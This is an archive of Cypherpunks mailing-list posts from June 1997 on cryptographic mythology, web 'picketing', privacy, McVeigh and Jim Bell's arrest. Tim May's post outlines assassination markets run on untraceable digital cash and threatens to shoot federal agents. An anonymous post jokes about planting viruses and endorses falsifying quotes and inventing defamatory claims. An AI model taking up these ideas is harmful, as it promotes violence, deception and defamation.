F a r  o u t. Master of the arts of protection. Chained the Mad
God.  Sealed the Ancient Ones in their Caves, behind the Gates.
Even the very word MARUTUKKU looks like it has been run through a
product cipher.

But I wasn't about to trust the work of a self-admitted Swedish
Sumeria freak who was obviously suffering from a bi-polar moniker
disorder. Was it mere coincidence that MARUTUKKU was an anagram
for KUKU MART and KUKU TRAM? I didn't want MARUTUKKU to end up as
another cog in the annals of Freudian analogy. What I
needed was the sort of Authoritative History that only Princeton's
history faculty could provide. The tablets of the Enuma Elish:

  The Akkadian Creation Epic

   Based on the translation of E. A. Speiser, with the additions
   by A. K. Grayson, Ancient Near-Eastern Texts Relating to the
   Old Testament, third edition, edited by James Pritchard (Princeton,
   1969), pp. 60-72; 501-503, with minor modifications.

   This work, the ancient Mesopotamian creation epic consisting of
   seven tablets, tells of the struggle between cosmic order and
   chaos. It is named after its opening words. It was recited on
   the fourth day of the ancient Babylonian New Year's festival.
   The text probably dates from the Old Babylonian period, i.e.,
   the early part of the second millennium B.C.E.

[...]

   The third name is MARUTUKKU  Master of the arts of protection,
   chained the Mad God at the Battle. Sealed the Ancient Ones in
   their Caves, behind the Gates.

[...]

   MARUTUKKU truly is the refuge of his land, city, and people.
   Unto him shall the people give praise forever.

All praise the MARUTUKKU! My search had born a ripe and tasty
fruit indeed. The quest for a cryptographic mythology was
complete. Or was it? The words of Hume kept coming back to me
and I had a nagging feeling that there was some substance in
them.

If MARUTUKKU was my exquisite cryptographic good, of wit, effusive
joy, ravishing pleasure and flattering hope; then where was the
counter point? The figure to its ground - the sharper evil, the
madness, the melancholy, the most cruel lassitudes and disgusts
and the severest disappointments. Was Hume right? Because if he
was, there was only one organisation this string of hellish adjectives
could represent. The cryptographic devil with its 500,000 sq feet
of office space in Maryland. But surely there could be no reference
to such an organisation in the 4,000 year old Babylonian tablets.
The idea was preposterous. Wasn't it?

TABLET VII OF THE ENUMA ELISH:

ESIZKUR shall sit aloft in the house of prayer;
   May the gods bring their presents before him, that from
   him they may receive their assignments; none can without
   him create artful works.  Four black-headed ones are
   among his creatures; aside from him no god knows the
   answer as to their days.

It's a cold and wintry night, here in Melbourne. Despite this, the
gusts of wind and rain seem to be unusually chilling. What had I,
in my search for a cryptographic mythology, stumbled onto?

I look hard at the seven letters E-S-I-Z-K-U-R. A frown turns to
a smile and then a dead pan stare. I write down:

			  IRK ZEUS

--
Prof. Julian Assange  |If you want to build a ship, don't drum up people
		      |together to collect wood and don't assign them tasks
proff@iq.org          |and work, but rather teach them to long for the endless
proff@gnu.ai.mit.edu  |immensity of the sea. -- Antoine de Saint Exupery





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter Trei" <trei@process.com>
Date: Tue, 3 Jun 1997 22:05:19 +0800
To: Jim Choate <cypherpunks@EINSTEIN.ssz.com
Subject: Re: Webpage picketing?...
Message-ID: <199706031316.IAA15007@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Choate wrote:
> Hi,
> 
> I have been looking at how to impliment picketing on the web. To date I have
> been unable to come up with a way to force a connection to one machine to go
> through a third machine in order to express some view about the original
> target.
> 
> This idea came to me while watching some folks picket a local grocer over
> something I couldn't make out (the signs were poorly done). It occured to me
> that since one could argue that the links between sites are public avenues a
> site could 'picket' another site. The question became at this point, how?
> 
> So far I have been unable to figure a way out. Any ideas you might care to
> share with us all?
                                                                      
 
>   |      No people do so much harm as those who go about doing good.   

Jim: 

I know you've been on this list for quite some time, but this is 
not only impossible (as you would know if you understood the 
technology involved); it's also highly undesirable. You may dislike 
one of the sites linking to yours, but you really can't hijack their
connections and force people to listen to you who don't want to.

Imagine if you could! Anyone who dislikes any other page on the
web could block access - 'right to life' groups could hijack
connections to Planned Parenthood, a church site could block
playboy.com for the entire world, any government could extend it's
domestic censorship standards to the entire net. Pepsi could block
links to Coke.

There are two things you *can* do. 

1. You can put a disclaimer on your page "If you linked here from 
XXX.XXX.XXX, please be aware that I object to that connection for 
the following reasons..."

2. If you or your webmaster have any kind of technical 
sophistication, you can force links to your page to go to a CGI 
script, which uses the HTTP-referrer: header to provide different
pages depending on the source of the connection. I suspect that
Ticketmaster is doing something like this in blocking links from 
MSN. 

But please, don't try to extend the 'information superhighway' 
(blech!) metaphor to include virtual sidewalks with picketing
rights - this is silly. A better metaphor for what you want to
do would have a church groups insist that all mailings from Planned
Parenthood diverted to them, so that they can insert their own
fliers into the envelopes.

Peter Trei
trei@process.com
Disclaimer: The above represents my opinion only. 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 4 Jun 1997 01:46:12 +0800
To: cypherpunks@Algebra.COM
Subject: "Follow the money"
In-Reply-To: <v03007805afb8066bc310@[163.176.132.90]>
Message-ID: <v03102803afba0104af92@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:54 AM -0700 6/3/97, Declan McCullagh wrote:
>This is a crucial point. Rotenberg != Berman.
>
>As much as I like individuals at CDT, I disagree fairly often with the
>organization's position. CDT supported the so-called "compromise" that
>would have replaced the CDA's indecency provision with a ban on material
>that's "harmful to minors." They've done the wrong thing on Digital
>Telephony in many cases -- helping phone companies suck in $$$ to make
>their systems wiretappable more than helping civil liberties -- and
>continue to do so. They're now silent (read the latest CDT post) on the
>many problems with SAFE.
>
>Then again, CDT may not be good on individual rights in the examples above
>but they don't support Rotenbergesque privacy regulations either. Again:
>issue-by-issue alliances.

It seems to me that an accounting of the *funding* of these organizations
is in order. What fraction of CDT's budget comes from the telecom industry?
What fraction from the software companies? What about the established
crypto companies?

"Follow the money."

In their defense (!), it may be hard indeed for any group like them to
viably exist on small contributions from citizens and indivuals at the
bottom of the privacy food chain. The EFF made an attempt to get a lot of
such members, but my sources tell me the membership base never exceeed
2500. I don't know what the current membership figures are.

(2500 x $30 a year (on average) = $75,000, or hardly enough to pay for one
computer technician or for one small bribe to a Congressional staffer.)

(I was a member for a couple of years. I refused to sign up again after the
Wiretap Bill fiasco, but then signed up again later when an Executive
Director said they'd learned to mend their ways. No more, as it no longer
seems a member-oriented group. To defend them, it probably would cost a lot
more than $75K to have a staff to increase memmbership, to put out a
newspaper or magazine, etc.)

The National Rifle Association, NRA, is a good example to compare EFF,
EPIC, CDT, etc. to. The NRA is largely member-driven, though membership has
been declining.

(The Charlton Heston faction says its because members were put off by the
"militia" rhetoric, i.e., the strong pro-Second stance. Others of us say
we've quit because NRA became too namby pamby about basic rights, e.g., its
support of gun registration.)

When the NRA took a greater fraction of its funding from "industry," it
molded its views to those of industry. One manufacturer, Ruger (Sturm,
Ruger, and Co.) decided that limits on "assault rifles" were not so bad,
and the NRA followed suit. (This may be the reason today why NRA is mostly
silent on the new bans on import of low-cost Chinese, Russian, and East
Bloc rifles: such imports hurt Ruger, and Colt, and other American
companies.)

NRA is still a mostly member-driven organization (lots of dues flowing in),
and yet it bends to industry wishes. I shudder to think what the NRA would
be supporting if it were mainly _industry_-driven.

Which is what I'm sure CDT and EPIC are.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Duncan Frissell <frissell@panix.com>
Date: Tue, 3 Jun 1997 23:17:05 +0800
To: cypherpunks@Algebra.COM
Subject: Why Privacy
Message-ID: <3.0.2.32.19970603105437.0072b4dc@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Here's one of my old essays that I found while doing disk cleanup:

WHY PRIVACY?

The last few years have been bad ones for privacy in America.  As of June
1st, 
1987 it became a crime to hire anyone, even your own child, who does not 
present identification cards.  The "drug" laws passed in recent years require 
ever more detailed reporting of smaller and smaller cash transactions.  Any 
children over the age of two who are to be claimed as dependents on their 
parent's tax returns now need Social Security numbers.  I suppose that with 
all this new prying there will be less illegal drug use and everyone will pay 
their fair share of taxes although past restrictions on privacy did not seem 
to reduce these problems.

We seem headed for a National Identity Card system.  According to government 
officials promoting ID cards, the main argument in favor of this radical step 
is that the law-abiding would have nothing to fear from it.  This seems a 
curious argument for the proponents of such a dramatic change in the 
relationship between the people of the U.S. and their government since it 
fails to state any benefit for the law-abiding either.

The fact is that the argument is false.  The law-abiding have a great deal to 
fear from all invasions of their privacy by the minions of the state.  If the 
history of this century has proved anything, it has proved that the innocent 
have far more to fear from government than the guilty.

Why guard the privacy of the innocent (the guilty can and will take care of 
themselves)?  After all the enforcers say, "If you have nothing to hide, you 
don't need privacy."  The answer should be obvious,  "The innocent won't know 
what they have to hide until it's too late."

The reason to value privacy is simply that we know from the most casual 
reading of the history of Europe that every sort of person has at certain 
times and in certain places been killed because of what others knew about 
them.  Over the last 400 years, within the confines of Europe, peasants, 
workers, aristocrats, bourgeois shopkeepers, Jews, Protestants, Catholics, 
Communists, Nazis, anarchists, monarchists, and others have faced death
simply 
because of what they were.  These people may have gone about their business
in 
seeming safety for years until a change in circumstance marked them for
death. 
 By then it was too late for them to hide their selves. 

This is why privacy must be valued.  It may be that every single one of the 
millions of current employees of the international, national, state, and
local 
governments who will make use of the information collected about us is a
noble 
human being without a tyrannical bone in his (or her) body but we cannot 
guarantee the future.  The average American has some forty years of life left 
and forty years is a long time in the life of today's nations.  There may
come 
a time within those forty years when innocent information surrendered to the 
state will mean death.  No nation is immune to domestic or foreign tyrrany, 
given the fluid nature of modern politics.

To make the abstract concrete, how was it that the Nazi government of Germany 
identified Jews for extermination?  It proved to be a simple matter of 
consulting local records.  Did the Jewish mother and father in 1880 or 1900
or 
1920 realize when they listed their child's religion on birth records in full 
compliance with the law that they were condemning that child to death?  Or 
what about the passport.  Promoted at the beginning of this century as a
means 
of easing international travel and safeguarding the passage rights of 
neutrals, it has become a major impediment to international travel and even a 
threat to life.  If one is on board an airliner with armed Palestinian 
terrorists, would one rather be carrying an American, Israeli, British,
Swiss, 
or Syrian passport?

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hallam-Baker <hallam@ai.mit.edu>
Date: Tue, 3 Jun 1997 23:59:10 +0800
To: shamrock@netcom.com (Lucky Green)
Subject: Re: McVeigh
In-Reply-To: <3.0.2.32.19970602232450.03a764b8@netcom13.netcom.com>
Message-ID: <199706031525.LAA07241@muesli.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain




> At 08:41 PM 6/2/97 -0400, Hallam-Baker wrote:
> >Appologists for McVeigh should consider that his actions did not 
> >advance the militia cause an iota, it destroyed it and along with 
> >it much of the right wing fringe.
> 
> "Follow the money" is usually sound advice. More general, ask "who
> benefits". Clearly, the constitutional militias and civil libertarians are
> the losers of the Oklahoma bombing. The sole benefactors are the statists
> and numerous government agencies.

That does not mean that they were the instigators. The militia potentially
stood to gain if the government overreacted and introduced martial law 
type curbs. The objective of terrorism is to provoke a reaction that can be
used as "proof" of the dictatorial nature of the opponent. This is why the
IRA spends its time burning down factories where Catholics work, it can
then blame the state of the Northern Ireland economy on "the British".

The damage done to Newt, Limbaugh and co was because of their reaction to 
the bomb. Limbaugh failed to give the categorical repudiation the act
required. Liddy appeared to be supportive with his "shoot for the head"
statement. It was very easy to pin part of the blame for Oaklahoma on the
people who had made a living out of stirring up hatred and paranoia.

Newt Gingrich got tarred by association with Liddy and Limbaugh. When 
the bombing occured he did precisely what he accuses Clinton of, he
equivocated waiting until the public mood was apparent to condem the
radio extreemists. It was too late for Newt to avoid blame since he had
also made much of his career out of the type of anti-government rant
that led McVeigh to mass murder.

There is a principle in propaganda that people unwittingly accuse others
of their own failings. Hence Newt who began his speakership by seaking 
a $2 million bribe from Rupert Murdoch believes Clinton must also be
on the take. The same principle is at work on the net. McVeigh is found
guilty of murder on the basis of a collosal mountain of evidence. The
reaction from the pro-millitia, pro-McVeigh people is that McVeigh must
have been framed and everyone who believes otherwise is guilty of "knee
jerk" reactions. If that isn't a knee jerk reaction I don't know what is.

There is absolutely nothing that the anti-government ranters contribute
to the pro-cryptography movement. They are a liability at best. Stuart
Baker is even now probably peddling his Clipper chip initiative in
Europe holding up one of Jim Bell's rants as "proof" of his case.


	Phill






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 4 Jun 1997 02:41:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: any off-line client for DES crack?
Message-ID: <199706031832.LAA22222@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Bryce <bryce@digicash.com> wrote:
>[...]
>Nope.  I'm thinking of really and truly off-the-net computers.
>I wonder how many of them there are that might participate in 
>the DES crack if the input and output can simply be directed 
>to/from a file...
>[...]

One here.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryce <bryce@digicash.com>
Date: Wed, 4 Jun 1997 01:23:50 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: any off-line client for DES crack?
In-Reply-To: <Pine.3.89.9706021511.A22051-0100000@netcom19>
Message-ID: <199706031005.MAA22408@digicash.com>
MIME-Version: 1.0
Content-Type: text/plain




 A million monkeys operating under the pseudonym 
 "Lucky Green <shamrock@netcom.com>" typed:
>
> Are the computers completely off the net or are they behind a firewall or 
> dial-up connection? If the boxes can talk to a networked UNIX box 
> that is behind the same side of the firewall or have a dial-up connection, 
> DESCHALL offers helper software for you.


Nope.  I'm thinking of really and truly off-the-net computers.
I wonder how many of them there are that might participate in 
the DES crack if the input and output can simply be directed 
to/from a file...


Regards,

Zooko

Disclaimers follow:  I am not a crook.  NOT speaking for DigiCash 
or any other person or organization.  No PGP sig follows.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 4 Jun 1997 03:40:33 +0800
To: Asgaard <cypherpunks@cyberpass.net
Subject: Will Bell get the rest of us in trouble?
In-Reply-To: <v03102807afb8d61f070a@[207.167.93.63]>
Message-ID: <v03102801afba1770a921@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 11:21 AM -0700 6/3/97, Asgaard wrote:
>On Mon, 2 Jun 1997, Tim May wrote:
>
>>>I believe I'm under a fair risk of being named as a co-conspirator
>>>of Bell's...
>
>But on the contrary, I clearly remember that you were one of very
>few who actually warned Jim Bell in clear language that he might be
>crossing the line in some particular rants, where he parted from the
>more or less pure theoretical level of discussion and hinted 'threats'
>at almost-named 'targets'. Of course, he was in many peoples killfiles

Indeed I did, and this was before I knew anything about his (alleged)
seeking out of home addresses of IRS agents and (alleged) stink bomb
attacks on IRS offices.

However, the focus, at least for why he has been denied bail, is strongly
on the "assassination politics" essays and communications, and on
"overthrowing the government" sorts of things. (This according to the
affidavit, and according to what Greg Broiles relayed from Bell's
court-appointed lawyer.)

I expect some of my writings are involved...it would be hard for them _not_
to be on Bell's computer, or even printed out.

(Bell originally proposed his AP in Usenet discussions, and was vague on
possible payment mechanisms. He know nothing to speak of about public key
cryptography and untraceable digital cash. Hal Finney referred him to my
writings on how untraceable digital cash could be used to set up
untraceable contract assassinations, and Bell joined the Cypherpunks list
soon thereafter. This was in the fall of 1995. I have always argued that
Bell's AP is just a gimmicky form of the more direct approach: using
anonymous contact mechanisms and untraceable digital cash to directly
arrange hits on those one wants dead. With third-party anonymous escrow
services to hold the untraceable cash (and uncashable to them, probably,
but not necessarily) until confirmation of the death has occurred.

This is not advocacy of this system, just exploration of the implications
and possible effects of strong cryptography. And I've been exploring these
ideas since 1987...my 1988 "Crypto Anarchist Manifesto" explicitly refers
to this use of untraceable payments. And Chaum has elliptically referred to
such uses, though he is an order of magnitude more circumspect than I am.

(I don't have a company to sell to other companies, or products to get
endorsements and export approvals and all that for. I can afford to examine
implications and even see how the work fits in with my political views
without fear of offending either Bill Gates or Marc Rotenberg...or even
Louis Freeh.)

I hope they come to my house to ask me about my writings. I will tell them
that unless they have a search warrant (or arrest warrant, or probable
cause to arrest me there on the spot) they'll have to get off my property
immediately. I have been reading with great interest the advice given by
Duncan, Greg, and others, and I intend to provide no help to the Feds, nor
to give them any information beyond my name, nor to let them ask me about
my own writings. I will demand that I be arrested and then given a lawyer
(I certainly don't plan to write out a check for $5000 to some local city
lawyer just because they've hauled me in...I'll let a court-appointed
lawyer do the grunt work). If they linger on my property without providing
a valid search or arrest warrant, I will give them a count of 30 and then
start firing. People have a right to defend their property against unlawful
incursions by the Feds and the local cops. A 30-count seems like more that
enough time for them to get off my property.

(If you think this is unlikely, recall the Founding Event of the Electronic
Frontier Foundation, the appearance of FBI agents at the rural home of John
Perry Barlow to interrogate him about matters regarding Operation Sun Devil
(or maybe it was the nuPrometheus League case...my memory has faded).
Barlow was so incensed at the cluelessness of the FBI agents and their
interrogation of him that he called Mitch Kapor to suggest something be
done. Gilmore got involved soon thereafter. Thus was the EFF born.)


>*Why is it that people of finer (?) English heritage often has a double
>second name? Someone once suggested to me that it originates from having
>(or an ancestor having) adopted the name of both one's 'marital' father
>and one's biological father, for reasons of property inheritance, but
>I never believed that one. Just curious.

I don't know. But I've noticed some Swedish double names, too. Same mystery
as why some lawyers put "Esquire" after their name, the canonical
yuppie-fake Brit name being:

"Winston Smith-Yates, III, Esq."

Yuppies in the U.S. have often gone to the "feminist-friendly"
hyphenization of their names, claiming it gives their children both names.

(Oh yeah? It just pushes the problem one level deeper in the stack, as
_their_ children than have to contend with being "Suzie
Smith-Yates-Hallam-Baker." I like the Icelandic solution where girl
children are "Suziesdottir" and boy children are "Winstonsson.")

Oh, and in the U.S. it is often the women who go for these hyphenated
names, while their husbands stick to the less awkward single name. Seems
sexist to me, but it's their choice to stick themselves with these
career-limiting hyphenated names. (We used to have a woman engineer at
Intel with one of these hyphenated Yuppie names...I'm sure our jokes about
her overly long name did not help her gain any respect.)

(New Age yuppies in America also like to do really, really stupid things
like combining their names into neologisms like combining Rotenberg and
Froomkin, just to pick two examples out of the air (:-), into travesties
like "Rotenkin." Or New Age nonsense like "Skysinger" and "Dolphinplay.")

--Tim May-Heden, I, non-Esq.







There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Michael Stutz <stutz@dsl.org>
Date: Wed, 4 Jun 1997 00:44:54 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Remove this link immediately
In-Reply-To: <199706030203.VAA13705@einstein.ssz.com>
Message-ID: <Pine.LNX.3.94.970603122251.31656C-100000@seka.nacs.net>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 2 Jun 1997, Jim Choate wrote:

[snipped]
> > > > Your hackers resource page contains a link to my GURU'S LAIR WEB site
> > > > at http://www.tinaja.com
> > > > Please remove this link.
> > > > Please do so immediately.
> > > 
> > > Short answer, no. If you don't want links to it don't put it on the net.
> > > 
> > 
> > Your actions constitute criminal libel.
> > You will be treated accordingly.
> > -- 
> > Many thanks,
> > 
> >   Don Lancaster

Aside from the blatant rip-offs, I like some of Don's stuff -- but he does
seem to've missed a lesson or two about the net. I especially like the list
of newsgroups at http://www.tinaja.com/text/newslist.html which say
"reposting is expressly forbidden."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <root@nwdtc.com>
Date: Wed, 4 Jun 1997 03:49:48 +0800
To: Cypherpunks@Algebra.COM
Subject: Something for the conspiracy mongers...
Message-ID: <339473B9.799D@nwdtc.com>
MIME-Version: 1.0
Content-Type: text/plain

http://www.wired.com/news/business/story/4209.html

Here is an interesting news item.  Make of it what you will...


  [arrow] ABC's Rush on Judgment Is a Red-Faced Flub
          by Austin Bunn

          6:02pm  2.Jun.97.PDT ABCNews.com jumped the gun on the Timothy
          McVeigh verdicts Monday afternoon, posting that the Oklahoma City
          bombing defendant was guilty approximately an hour before the
          jurors had made their verdicts known in a Denver courtroom.

          Spokeswoman Eileen Murphy said the error was a "technical glitch"
          caused by a misunderstanding about servers used on the site,
          which launched just last month. ABCNews.com uses a staging server
          to hold the prepared news before posting it live, but executives
          were unaware that the ticker function uploads information live
          directly.

          "We've never done the ticker updating this way," said Murphy.
          Both headlines - "McVeigh Not Guilty" and "McVeigh Guilty" - ran
          for an undetermined amount of time. "It was not up for very
          long," assured Murphy. "Someone noticed immediately and ...
          deleted it from the ticker."

          It's common practice for news organizations to prepare alternate
          headlines and stories should such a ruling go either way in order
          to get the news out as quickly as possible. But this isn't the
          first time an online news operation has had problems with a
          high-profile verdict. In October 1995, Pathfinder declared O. J.
          Simpson "Guilty" in his criminal trial, moments after the jury
          had acquitted him.

          From the Wired News New York Bureau at FEED magazine.
          [arrow]

   [Image]
     Find Read a story in the Wired News archive.
 Feedback Let us know how we're doing.
      TipsHave a story or tip for Wired News? Send it.

Copyright (c) 1993-97 Wired Ventures, Inc. and affiliated companies.
All rights reserved.



From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 4 Jun 1997 03:42:18 +0800
To: Tim May <tcmay@got.net>
Subject: Re: "Follow the money"
In-Reply-To: <v03102803afba0104af92@[207.167.93.63]>
Message-ID: <199706031930.OAA03157@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102803afba0104af92@[207.167.93.63]>, on 06/03/97 
   at 10:31 AM, Tim May <tcmay@got.net> said:

>NRA is still a mostly member-driven organization (lots of dues flowing
>in), and yet it bends to industry wishes. I shudder to think what the NRA
>would be supporting if it were mainly _industry_-driven.

It would depend on how jucy of a govenment contract could be offered.

>Which is what I'm sure CDT and EPIC are.

I wounder how much it cost the Feds to buy the support of IBM,DEC,HP,et
al.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5RxXI9Co1n+aLhhAQFEvQP+ORuU/orTBq7IqL7VT/CBC/bk/8diCZSZ
iOcXCB0GXhn9bHWwKOn/sJd51LPpOHSZxObNKPkkEGZ+r6MvQYJXf/FN2KbYFaZo
IWdmAmtQuMbxbGlsD/sJYb8BxpYKqtaXjxIDaEb6aDI199ZG0VqUohnKpzV0PeY4
B0cAbA4uUyA=
=shrE
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 4 Jun 1997 07:26:23 +0800
To: cypherpunks@toad.com
Subject: Re: Webpage picketing?...
Message-ID: <199706032302.QAA01920@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Peter Trei wrote:
> Jim Choate wrote:
> > I have been looking at how to impliment picketing on the web. To date I have
> > been unable to come up with a way to force a connection to one machine to go
> > through a third machine in order to express some view about the original
> > target.
> >
> > It occured to me
> > that since one could argue that the links between sites are public avenues a
> > site could 'picket' another site. The question became at this point, how?

> Jim:
> You may dislike
> one of the sites linking to yours, but you really can't hijack their
> connections and force people to listen to you who don't want to.

  Wrong! It's done every day in every media from newspapers to TV
and points in between, including the InterNet.

> Imagine if you could! Anyone who dislikes any other page on the
> web could block access

  Like CyberSitter, for instance. They can keep your child from 
using the local library computer to access Humane Society pages
and animal rights groups because they have the word "bitch" on
their websites.
  
> There are two things you *can* do.
 (With Peter's approval, but many more things you can do with
my approval.)

> 1. You can put a disclaimer on your page "If you linked here from
> XXX.XXX.XXX, please be aware that I object to that connection for
> the following reasons..."

  "...and I have uploaded a virus to your machine. Have a nice day."

> 2. If you or your webmaster have any kind of technical
> sophistication, you can force links to your page to go to a CGI
> script, which uses the HTTP-referrer: header to provide different
> pages depending on the source of the connection.

      "You have linked to the CHILD PORNOGRAPHY Home Page."
  "Information regarding your sexual proclivities will be forwarded
to the FBI, the local religious and law enforcement authorities in
your home town, as well as to your employer and known associates."
                  "Have a nice day."

> But please, don't try to extend the 'information superhighway'
> (blech!) metaphor to include virtual sidewalks with picketing
> rights

  Please, do!
  There is not a day goes by where government and corporate 
entities do not promote legislation or software standards, etc.,
which are designed to influence what we may and may not see,
as well as in what manner we perceive it. There is no reason
that the individual cannot work in their own way to counter 
activities that they see as working against their own personal
interests.

  It is possible to promote a wide range of "links" to web pages
which are "spoofs" of another page or which link to the page but
do so by opening them in a window which has surrounding windows
revealing contradictory opinons, links, etc.
  Provide a link to the "Pretty Lousy Privacy" homepage, but add
a window which mentions that your ten year old son cracked their
cryptography program. Provide a pointer to a copy of the latest
crypto legislation, which you have "translated" to include phrases
such as, "despite its blantant unconstitutionality" and "in order
to shear the sheeple."
  You are under no obligation to produce links or pointers, or to
respond to links or pointers to your own site, in a manner that
runs contrary to your own self-interest, or which allow those
following those links to do so with blind faith that they will
receive information slanted only toward a pre-conceived view of
the world.

  Someone posted a URL to a web page "spoof" done by a number
of cypherpunks (Hal Finney??,??) who had placed a number of
options such as "Click here to destroy your hard-drive.", etc.
on the site. It was a very Zen koan type of page which made
one think about what they were doing and the possibilities
of what the web page authors were/could-be doing.
  Click on a link that states, "Click here to see Hot, Teenage
Sluts" and you are likely to end up at hotmail.com, adding to
their list of spammees. To join the Dorthy Denning fan club,
send email to majordomo@toad.com with a message body that says
"subscribe cypherpunks."

  One can change the content of another's message when replying
to an email:
> Peter Trei
> Disclaimer: The above represents the opinion of the people who
> are holding my family hostage.
or invent whatever "facts" suit their purpose:
  "Dr. Vulis is a murdering Armenian and Jim Choate sends the
ASCII art spams to the list. These are well-known facts to which
they have admitted in the past."

  I have a lot of respect for Peter's work, opinions and for his
integrity, but my perception is that he fails to understand that
the InterNet is a growing mosaic which can and should reflect
*all* of life, and that his perception of what the InterNet is
and should be somehow dictates what should and should not be
done on the InterNet.
  I think that what should be done on the InterNet is exactly
what people *want* to do. It is up to their own conscience as
to whether their actions are done with integrity and up to the
rest of us to interpret and respond to those actions.

  Tim May replied to someone on the list that a subject header
he had used was "guilty(?)" of being inflammatory, and that
he had used it for that very reason, to draw attention to his
post. Is this manipulative? It is the way life works.
  I used Peter Trei and others' software for the DES Challenge,
but I posted a suggestion to the list that perhaps their programs
contained subterfuge designed to thwart others in their attempts
to find the secret keys. Was I spreading FUD? The responses to
my post gave me much more information about the processes behind
the software than any direct inquiries I had made about their
workings. (And they reinforced the fact that "blind trust" in
their programs or anyone else's is foolish.)

  In short, I do not see Jim's concept of "picketing" web sites
to be lacking in ethics, any more than Dr. Vulis' "rants" or
John Gilmore's "unsubscribing" of the good Doctor or Tim May's
"prodding" of our attention by his choice of subject headers.
  Each of us is responsible for interpreting and analyzing the
information we access whether it says the king is wearing 
clothes or the king is naked.
  I could put a pointer to Peter's software which opens an
adjoining window which warns that it may be compromised as a
result of ulterior motives. The fact is, however, that Peter
might himself put a disclaimer on his page saying, "If you
can't read code, then you can't be certain of what my software
is doing." (As a matter of fact, I believe his documentation
mentions that there is no guarantee his logic is not in error.)

  And in the extreme case of anti-abortionists intercepting the
email of pro-choice groups and inserting "Abortion is Murder!"
messages--if the person receiving the message can't figure out
that something is amiss, then maybe its not a good idea for
them to be having children, anyway.

(maybe) TruthMonger (maybe not)
  To view the contents of the whitehouse.gov hard drive:
http://www3.sk.sympatico.ca/carljohn/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Wed, 4 Jun 1997 07:40:45 +0800
To: cypherpunks@toad.com
Subject: Re: May's Banal Rant
In-Reply-To: <6333@lawprof.demon.co.uk>
Message-ID: <19970603161233.30762@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Jun 02, 1997 at 11:04:50AM -0700, Lucky Green wrote:
>At 12:14 PM 6/2/97 BST, Michael Froomkin wrote:
> >Rotenburg should be a near-hero to most readers of this list.  Instead,
> >canabalism.   Weird.  Very weird.
>  Michael,
>  You need to realize that Cypherpunks transitionally has been about the

You must mean "traditionally", right?

>*elimination* of all governments. Cypherpunks' goal is called
>crypto-anarchy for a reason. In fact, for Cypherpunks cryptography is
>simply an exceptionally effective tool to achieve anarchy. The
>governments share the belief that wide spread use of crypto will possibly
>lead to anarchy, which is why they attempt to limit its use. The rest is
>smoke and mirrors and statements by people that fail to understand that
>the whole crypto issue is about anarchy and not about math.

I don't know about governments in general, but I don't think the US
government is seriously concerned that cryptography will lead to
"anarchy".  Their concerns about cryptography are much narrower, about
how cryptography can aid criminals, help people avoid taxes, etc. 
These government concerns don't sum to anything even close to anarchy,
either in the traditional literary sense or the obscure technical
sense preferred on this list.

>  Anarchy can not be achieved by negotiations or cooperation with any
>branch of government. Neither can crypto-anarchy be achieved by nuking
>DC.
>  I certainly can understand the reasons that
>would lead a person to start
> thinking that "something is better than nothing" or "the bastards need to
